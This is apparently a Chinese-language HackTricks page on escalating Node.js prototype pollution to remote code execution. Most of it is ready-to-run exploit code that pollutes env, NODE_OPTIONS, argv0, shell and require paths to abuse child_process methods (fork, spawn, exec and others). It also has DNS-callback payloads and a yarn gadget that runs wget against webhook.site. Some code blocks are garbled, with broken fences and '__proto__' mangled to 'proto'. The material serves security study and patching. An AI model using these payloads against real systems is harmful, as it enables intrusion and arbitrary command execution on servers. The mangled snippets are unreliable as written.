Prototype Pollution to RCE

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

可能受到影响的代码

想象一个真实的JS使用以下代码:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

通过环境变量实现PP2RCE

PP2RCE 意味着 原型污染到远程代码执行(Remote Code Execution)。

根据这个解说,当使用 child_process 中的某个方法(如 forkspawn 或其他方法)生成一个 进程 时,它会调用方法 normalizeSpawnArguments,这个方法利用 原型污染小工具来创建新的环境变量

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

污染 __proto__

请注意,由于nodechild_process库中的normalizeSpawnArguments函数的工作方式,当调用某些内容以为进程设置新的环境变量时,你只需要污染任何内容。 例如,如果你执行__proto__.avar="valuevar",进程将被生成一个名为avar,值为valuevar的变量。

然而,为了使环境变量成为第一个变量,你需要污染.env属性,并且(仅在某些方法中)该变量将成为第一个变量(从而允许攻击)。

这就是为什么在以下攻击中**NODE_OPTIONS**不在.env中的原因。

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS 交互

使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测是否起作用:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

或者,为了避免WAF要求域名:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE漏洞child_process函数

在这一部分中,我们将分析child_process中的每个函数,以执行代码并查看是否可以使用任何技术来强制该函数执行代码:

exec利用
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile利用

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

**`execFile`** 要工作,**必须执行 node** 以使 NODE\_OPTIONS 起作用。\
如果**没有**执行 **node**,您需要找出如何通过环境变量**修改执行**任何正在执行的内容并设置它们。

**其他**技术**无需**此要求,因为可以通过原型污染**修改执行内容**。(在这种情况下,即使您可以污染 `.shell`,也不会污染正在执行的内容)。
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn利用

```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)

</details>

<details>

<summary><strong><code>execFileSync</code>利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync利用

```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

</details>

<details>

<summary><strong><code>spawnSync</code>利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

强制执行Spawn

在之前的示例中,您看到了如何触发一个功能,该功能需要调用spawn(用于执行某些操作的child_process的所有方法都会调用它)。在之前的示例中,这是代码的一部分,但如果代码没有调用它呢。

控制require文件路径

在这个其他解释中,用户可以控制文件路径,其中将执行require。在这种情况下,攻击者只需要找到系统中将在导入时执行spawn方法的.js文件。 一些常见文件导入时调用spawn函数的示例包括:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • 查找下面的更多文件

以下简单脚本将搜索来自child_process的调用,而不带任何填充(以避免显示在函数内部的调用):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

</div>

<details>

<summary>先前脚本发现的有趣文件</summary>

* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
* node\_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
* node\_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
* node\_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`

</details>

### 通过原型污染设置要求文件路径

<div data-gb-custom-block data-tag="hint" data-style='warning'>

**先前的技术要求**用户**控制要求的文件路径**。但这并不总是正确的。

</div>

然而,如果代码在原型污染后执行要求,即使**你无法控制要求的路径**,你**可以滥用原型污染来强制执行不同的路径**。因此,即使代码行类似于 `require("./a_file.js")` 或 `require("bytes")`,它将**要求你污染的包**。

因此,如果在原型污染后执行了要求且没有生成函数,这是攻击方式:

* 找到系统中的一个**`.js`文件**,当**要求**时将**使用`child_process`执行某些内容**
* 如果你可以上传文件到攻击的平台,你可以上传一个类似的文件
* 污染路径以**强制要求加载`.js`文件**,该文件将使用`child_process`执行某些内容
* **污染环境/cmdline**以在调用`child_process`执行函数时执行任意代码(参见最初的技术)

#### 绝对要求

如果执行的要求是**绝对的**(`require("bytes")`)且**包中不包含`package.json`文件中的主要内容**,你可以**污染`main`属性**并使**要求执行不同的文件**。

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='exploit'>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

相对路径加载 - 1

如果加载的是相对路径而不是绝对路径,您可以让节点加载不同的路径

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

相对路径 require - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### 相对路径 require - 3

类似于前一个示例,这个漏洞在这篇文章中被发现。

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM Gadgets

在论文https://arxiv.org/pdf/2207.11171.pdf中还指出,可以利用**vm库的某些方法中的contextExtensions的控制作为一个gadget。 然而,就像之前的child_process方法一样,在最新版本中已经被修复**。

Fixes & Unexpected protections

请注意,如果正在访问的对象的属性undefined,则原型污染会起作用。如果在代码中为该属性设置了一个,则无法覆盖它。

在2022年6月,从此提交中,变量options不再是{},而是**kEmptyObject。这样可以防止原型污染影响options属性以获取RCE。 至少从v18.4.0开始,这种保护已经实施**,因此影响这些方法的spawnspawnSync利用(如果未使用options不再起作用

此提交中,还在某种程度上修复了vm库中**contextExtensions原型污染**,将选项设置为**kEmptyObject而不是{}**。

其他 Gadgets

References

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于